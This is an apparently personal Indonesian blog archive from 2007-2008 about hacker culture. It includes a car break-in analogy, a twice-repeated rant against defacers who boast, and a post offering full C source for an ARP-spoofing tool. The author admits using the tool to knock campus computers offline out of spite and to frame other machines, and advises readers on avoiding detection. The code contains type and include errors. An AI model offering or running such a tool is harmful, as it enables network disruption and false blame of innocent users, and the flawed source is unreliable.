Ibaratnya mungkin seperti ini...
Suatu saat seseorang mengatakan bahwa "Ternyata ada kelemahan pada mobil Toyota Avanza yang diproduksi pada tahuhn 2006 (versi rpoduk).
Kelemahannya ada pada pintu belakang sebelah kiri(bagian dari aplikasi yang memiliki celah keamanan), yang dapat dengan mudah dibuka menggunakan Obeng minus (tools khusus), cara nya congkel pintu tersebut sekitar 60 com dari pojok bawah pintu (cara menggunakan tools khusus pada bagian aplikasi yang lemah).
Tentu saja cara ini hanya berhasil jika si pemilik mobil belum memodifikasi pintu nya (patch atau dicoding ulang atau di konfigurasi ulang)."
Setelah mendenger cerita terebut, X jalan-jalan ke parkiran gedung-gedung, dan mencari-cari mobil Avanza yang dibuat pada tahun 2006 tersebut dengan melihat tanda habis pajak plat nomor (googling dengan keyword signature aplikasi), kemudian setelah mendapatkan mobil Avanza yang sesuai kriteria erseut, X masukkan obeng kita ke pintu belakang sebelah kiri,mungkin tidak berhasil pada kesempatan pertama sehingga X mencari mobil avanza lain (tidak ada situs khusus yang dituju),setelah beberapa mobil, akhirnya ada juga yang behasil.
Dan mulailah X (terkadang X juga membawa teman-temannya masuk) menjahilinya.
Ada yang tertarik dengan tape mobilnya, ada yang tertarik dengan jok mobilnya,
ada yang dengan bangganya meninggalkan pesan di jok pengemudi "mobil Anda berhasil saya masuki, jika Anda butuh pengaman mobil hubungi saya", lengkap dengan no HP X, ada yang pengin memperlihatkan bahwa kita udah bisa masuk ke mobil ini dengan menuliskan nama kita di kaca mobil, ada yang merusak kunci pintu bagasi mobil,
agar jika pintu kanan belakang avanza diperbaiki, kita masih bisa masuk dari pintu bagasi, ada yang mencari-cari siapa tahu si pemilik mobil menginggalkan dompet beserta kartu ATM dan PIN nya,ada yang kemudian menggunakan mobil tersebut untuk tempat menaruh barang pribadi (file download-an), ditaruh di awah jok dan hanya diambil jika si pemilik (admin)sedang tidak ada di dalam mobil,... dst... masih banyak hal-hal yang bisa dilakukan
Humm...
Manakah yang lebbih kamu hormati ? Perancang Toyota Avanza, yang meskipun memiliki kelemahan tapi bisa menjual jutaan unit tiap tahunnya ?
atau kita yang hanya bisa melakukan semua jika ... ada yang memeritahukan kelemahan pada mobil, ada yang membuat obeng, ada yang memeritahukan cara memasukkan obeng agar bisa
mencongkel pintu ... ?
Apakah menurutmu si pemilik mobil lebih bodoh daripada X ?
Ehm... belum tentu juga... maksudnya... mungkin si pemilik mobil memang bodoh (atau teledor) namun belum tentu X lebih pinter daripada si pemilik mobil.
Coba saja kalo tidak ada yang memberitahukan kelemahan mobil Avanza kepada X,
apakah X masih bisa masuk ke mobil tersebut ? So kalo X pamer dan ilang dia pinter.... yaaa.. biarin aja laaah... ^^
Trus apa poin nya nih ?
Ehm...
Mungkin gini, pada awalnya mungkin gpp kalo pengin elajar security dari cara X tadi... tapi, berkembanglah.. jangan selamanya menjadi X...
Jadilah si periset, orang yang meriset dan menemukan kelemahan mobil Avanza... atau paling tidak jadilah yang membuat obeng yang multiguna....
Jangan terus-terusan bangga menjadi X... belum saatnya bangga !
Untuk menjadi si periset mungkin memang susah... kadang harus membeli dahulu... atau paling tidak, sering menggunakan mobil Avanza, mencoba-coba membobol pintu,
atau bahkan mungkin membutuhkan pergi ke pabriknya langsung di Sunter untuk melihat cara pembuatan body Avanza...
Tapi ya memang begitu kalo pengin puas...
Kecuali kalo memang sudah puas dengan hanya menjadi X :p
Showing posts with label Security. Show all posts
Showing posts with label Security. Show all posts
February 29, 2008
February 22, 2008
Gitu aja (kok) Bangga ?!
Ehm...
Sering lihat orang pamer hasil hacking ?
sering lihat orang pamer wesite hasil deface ? dengan mencantumkan nama pula
Ck ck ck...
Gitu aja kok bangga...
Kalo masih menggunakan tools orang lain...
kalo masih menggunakan cara orang lain...
Kalo masih menggunakan cara yang bahkan anak SMP kalo dikasih tau caranya bisa melakukannya...
Kalo masih hanya menggunakan dan bukannya mencari dan mendapatkan sendiri kelemahan system...
Kalo masih hanya bisa merusak tanpa tau cara memperbaiki...
Kalo masih hanya sekedar bisa merusak tapi gak bisa membuat aplikasi semacamnya...
Kalo masih hanya mencari kelemahan system di website security, mencari web yang menggunakan system tsb, meng-execute shell menggunakan shell-code orang lain...
Aku masih lebih menghormati si pembuat aplikasi yang dibobol...
masih lebih hebat orang yang membuat aplikasi yang dipake banyak orang di seluruh dunia...
Gitu aja (kok) bangga ya ?
C'mon... develop your own !
research your own !
make your own !
or at least.... develop your own way, your own tools, your own system, your own application !
hi hi hi...
kayak aku gak bangga aja.. padahal dulu juga merasa bangga :D
Sering lihat orang pamer hasil hacking ?
sering lihat orang pamer wesite hasil deface ? dengan mencantumkan nama pula
Ck ck ck...
Gitu aja kok bangga...
Kalo masih menggunakan tools orang lain...
kalo masih menggunakan cara orang lain...
Kalo masih menggunakan cara yang bahkan anak SMP kalo dikasih tau caranya bisa melakukannya...
Kalo masih hanya menggunakan dan bukannya mencari dan mendapatkan sendiri kelemahan system...
Kalo masih hanya bisa merusak tanpa tau cara memperbaiki...
Kalo masih hanya sekedar bisa merusak tapi gak bisa membuat aplikasi semacamnya...
Kalo masih hanya mencari kelemahan system di website security, mencari web yang menggunakan system tsb, meng-execute shell menggunakan shell-code orang lain...
Aku masih lebih menghormati si pembuat aplikasi yang dibobol...
masih lebih hebat orang yang membuat aplikasi yang dipake banyak orang di seluruh dunia...
Gitu aja (kok) bangga ya ?
C'mon... develop your own !
research your own !
make your own !
or at least.... develop your own way, your own tools, your own system, your own application !
hi hi hi...
kayak aku gak bangga aja.. padahal dulu juga merasa bangga :D
October 24, 2007
silvarpspoof.c -- pengakuan dosa, penjelasan program
Program ini ditulis dalam bahasa C dan bisa di complie di mesin linux dengan compiler GCC.
bagi yang malas meng compile sendiri, mungkin nanti akan saya berikan link ke "executable code" nya.
Program ini membutuhkan library pcap terinstall di komputer
Program ini pernah digunakan untuk memutuskan koneksi beberapa komputer, atau mengisolir suatu subnet tertentu biar tidak bisa connect internet, kadang karena iseng, dendam atau karena alasan yang lainnya. (maafin yaa)
Dan program ini bekerja dengan baik untuk semua komputer di jaringan STT Telkom (entah sekarang masih bisa atau tidak), yang kamu perlu tahu hanya IP address target (dan kalo pengin memfitnah komputer lain, cari juga MAC address si victim -- cara mencari MAC address tidak dijelaskan di sini)
Cara kerjanya sebenarnya cukup sederhana, prinsipnya adalah melakukan ARP broadcast agar ARP table di tiap-tiap komputer yang menerima ARP broadcast tersebut berubah sesuai keinginan kita, sehingga ketika ada paket untuk si A, paket untuk si A tersebut diarahkan ke si B karena ARP tablenya sudah berubah.
Jika yang diracuni ARP broadcast seperti ini adalah router.. tebak sendiri akibatnya.. Yah.. intinya tadi itu yang ada di atas (mohon maaf kalo penjelasannya ga jelas, karena saya sendiri tidak mengerti konsep jaringan komputer :p)
Penggunaannya bisa bermacam-macam, tergantung kreativitas kita :D
Program ini saya modifikasi untuk "memfitnah" komputer lain. Karena apa gunanya kita "nakal" aklo akhirnya ketahuan, betul tidak ?
Namun sayang sekali, dari beberapa kali melakukan tindakan "nakal" tersebut.. dan karena ga pernah ketahuan, akhirnya suatu saat saya lengah, tidak menggunakan fitur penyamaran yang saya tambahkan ketika melakukan tindakan nakal dan komputer juga kutinggal makan ke warung, dan kebetulan sekali (kebetulan yang tidak mengenakkan) saat itu ada Maestro Temon aka Sleepy_eye aka kudanil (kapan ya aku bisa ngalahin orang ini!?) yang kemudian menganalisa dan mentrace ke komputer saya... (Duh...ketahuan deh).
Tapi sebenarnya, setelah ketahuan itu pun, aku masih beberapa kali menggunakan program ini (kali ini dengan mode penyamaran diaktifkan tentunya), karena meskipun mereka curiga, mereka tidak punya bukti apapun bahwa pelakunya adalah saya :D
Dan kebetulan saat itu mereka memiliki musuh bersama (salah satu lab di ged E yang sering membuat ulah). So, kumanfaatin sekalian... (maaf yaaa... gak lagi deh..)
So kalo lain kali mau menggunakan program ini, gunakanlah sebaik-baiknya...
jangan sekali-kali lengah :D
So here we go...
Beginilah penjelasan algoritma nya (bagi yang ga pengin tau cara kerja nya, gpp kok... program bisa langsung dijalankan tanpa perlu tau cara kerjanya )
Mohon maaf untuk maestro yang sudah biasa coding, kalo penjelasannya sangat n00b atau tidak profesional, atau bahkan salah... mohon masukannya yaaa...
Untuk yang baru di programming.. mohon maaf kalo penjelasannya gak jelas.. memang sengaja diuat gitu, biar banyak yang tanya, banyak yang ngasih comment... karena males gak sih udah nulis macem-macem kalo ternyata ga ada yang baca ? :D
So kasih komentar lah.. bertanya lah.. dan kan kuberikan apa yang bisa kuberikan <-- bahasanya guaya banget yak :p
//Bagian komentar.. tidak ikut terkompile dalam program
/*
silvarpspoof.c
Redirect packets from a target (or from all target host) intended for
host on the LAN/WAN to ourselves or to victim.
modified from arspoof by Dug Song
silverant
*/
//File-file Header yang dibutuhkan. Perhatikan bahwa dia membutuhkan library pcap.h
#include "config.h"
#include "sys/types.h"
#include "sys/param.h"
#include "stdio.h>
#include "string.h"
#include "signal.h"
#include "err.h"
#include "libnet.h"
#include "pcap.h"
extern char *ether_ntoa(struct ether_addr *);
extern int arp_cache_lookup(in_addr_t, struct ether_addr *);
//Definisi global variable
static struct libnet_link_int *llif;
static struct ether_addr spoof_mac, target_mac, victim_mac;
static in_addr_t spoof_ip, target_ip, victim_mac;
static char *intf;
//Procedure untuk menampilkan cara penggunaan jika user menjalankan program dengan argumen yang salah
void usage(void)
{
fprintf(stderr, " silvarpspoof, modified from arspoof by Dug Song\n Usage: silvarpspoof [-i interface] [-t target] -v [victim] host\n");
exit(1);
}
//Fungsi untuk mengirimkan paket ARP
int arp_send(struct libnet_link_int *llif, char *dev, int op, u_char *sha, in_addr_t spa, u_char *tha, in_addr_t tpa)
{
// Pendefinisian local variable
char ebuf[128];
u_char pkt[60];
// Jika Source Host Adress kosong, maka...
if (sha == NULL )
{
sha = (u_char *)libnet_get_hwaddr(llif, dev, ebuf);
}
if (spa == 0)
{
if ((spa = libnet_get_ipaddr(llif, dev, ebuf)) == 0)
return (-1);
spa = htonl(spa); /* XXX */
}
if (tha == NULL)
tha = "\xff\xff\xff\xff\xff\xff";
libnet_build_ethernet(tha, sha, ETHERTYPE_ARP, NULL, 0, pkt);
fprintf(stderr, "%s ", ether_ntoa((struct ether_addr *)sha));
// Tampilkan informasi ke screen
if (op == ARPOP_REQUEST)
{
fprintf(stderr, "%s 0806 42: arp who-has %s tell %s\n",
ether_ntoa((struct ether_addr *)tha),
libnet_host_lookup(tpa, 0),
libnet_host_lookup(spa, 0));
}
else
{
fprintf(stderr, "%s 0806 42: arp reply %s is-at ",
ether_ntoa((struct ether_addr *)tha),
libnet_host_lookup(spa, 0));
fprintf(stderr, "%s\n",
ether_ntoa((struct ether_addr *)sha));
}
return (libnet_write_link_layer(llif, dev, pkt, sizeof(pkt)) == sizeof(pkt));
}
//jika mesin linux...
#ifdef __linux__
int arp_force(in_addr_t dst)
{
struct sockaddr_in sin;
int i, fd;
if ((fd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP)) < 0)
return (0);
memset(&sin, 0, sizeof(sin));
sin.sin_family = AF_INET;
sin.sin_addr.s_addr = dst;
sin.sin_port = htons(67);
i = sendto(fd, NULL, 0, 0, (struct sockaddr *)&sin, sizeof(sin));
close(fd);
return (i == 0);
}
#endif
// Fungsi untuk mencari ARP.
int arp_find(in_addr_t ip, struct ether_addr *mac)
{
int i = 0;
do
{
if (arp_cache_lookup(ip, mac) == 0)
return (1);
#ifdef __linux__
/* XXX - force the kernel to arp. feh. */
arp_force(ip);
#else
arp_send(llif, intf, ARPOP_REQUEST, NULL, 0, NULL, ip);
#endif
sleep(1);
}
while (i++ < 3);
return (0);
}
void cleanup(int sig)
{
int i;
if (arp_find(spoof_ip, &spoof_mac))
{
for (i = 0; i < 3; i++)
{
/* XXX - on BSD, requires ETHERSPOOF kernel. */
arp_send(llif, intf, ARPOP_REPLY, (u_char *)&spoof_mac, spoof_ip, (target_ip ? (u_char *)&target_mac : NULL), target_ip);
sleep(1);
}
}
exit(0);
}
// Main program, semuanya berawal dari sini.
int main(int argc, char *argv[])
{
// Penciptaan dan Inisialisasi variable
int c;
char ebuf[PCAP_ERRBUF_SIZE];
intf = NULL;
spoof_ip = target_ip = 0;
// Parsing argumen (masukkan argumen ke tempat yang sesuai)
while ((c = getopt(argc, argv, "i:t:v:h?V")) != -1)
{
switch (c)
{
case 'i':
intf = optarg;
break;
case 't':
if ((target_ip = libnet_name_resolve(optarg, 1)) == -1)
usage();
break;
case 'v':
if ((victim_ip = libnet_name_resolve(optarg, 2)) == -1)
usage();
break;
default:
usage();
}
}
argc -= optind;
argv += optind;
//Jika Argumen <> 1 maka panggil fungsi usage (tunjukkan cara menggunakannya)
if (argc != 1)
usage();
// Spoof adalah komputer yang dijadikan pendengar (yang meng-catch) paket yang seharusnya ditujukan untuk target.
if ((spoof_ip = libnet_name_resolve(argv[0], 1)) == -1)
usage();
// intf adalah interface yang akan digunakan (misal : eth0 )
if (intf == NULL && (intf = pcap_lookupdev(ebuf)) == NULL)
errx(1, "%s", ebuf);
if ((llif = libnet_open_link_interface(intf, ebuf)) == 0)
errx(1, "%s", ebuf);
// Target adalah komputer sasaran, dimana paket-paket untuk target akan dibelokkan ke spoof
if (target_ip != 0 && !arp_find(target_ip, &target_mac))
errx(1, "couldn't arp for host %s", libnet_host_lookup(target_ip, 0));
// Victim adalah komputer yang ingin dijadikan "sasaran kemarahan" atau korban fitnah :D
if (victim_ip != 0 && !arp_find(victim_ip, &victim_mac))
errx(1, "couldn't arp for host %s", libnet_host_lookup(victim_ip, 0));
signal(SIGHUP, cleanup);
signal(SIGINT, cleanup);
signal(SIGTERM, cleanup);
//lakukan hal di bawah ini selamanya (looping forever)
for (;;)
{
// arp_send(llif, intf, ARPOP_REPLY, NULL, spoof_ip, (target_ip ? (u_char *)&target_mac : NULL), target_ip);
// panggil fungsi pengirim arp
arp_send(llif, intf, ARPOP_REPLY, (victim_ip ? (u_char *)&victim_mac : NULL), spoof_ip, (target_ip ? (u_char *)&target_mac : NULL), target_ip);
sleep(2);
}
/* NOTREACHED */
exit(0);
}
Well... memang betul banyak yang ga saya jelasin di sini... sengaja biar pada tanya :D :D .. yah... sekedar biar blog saya rame :D
Subscribe to:
Posts (Atom)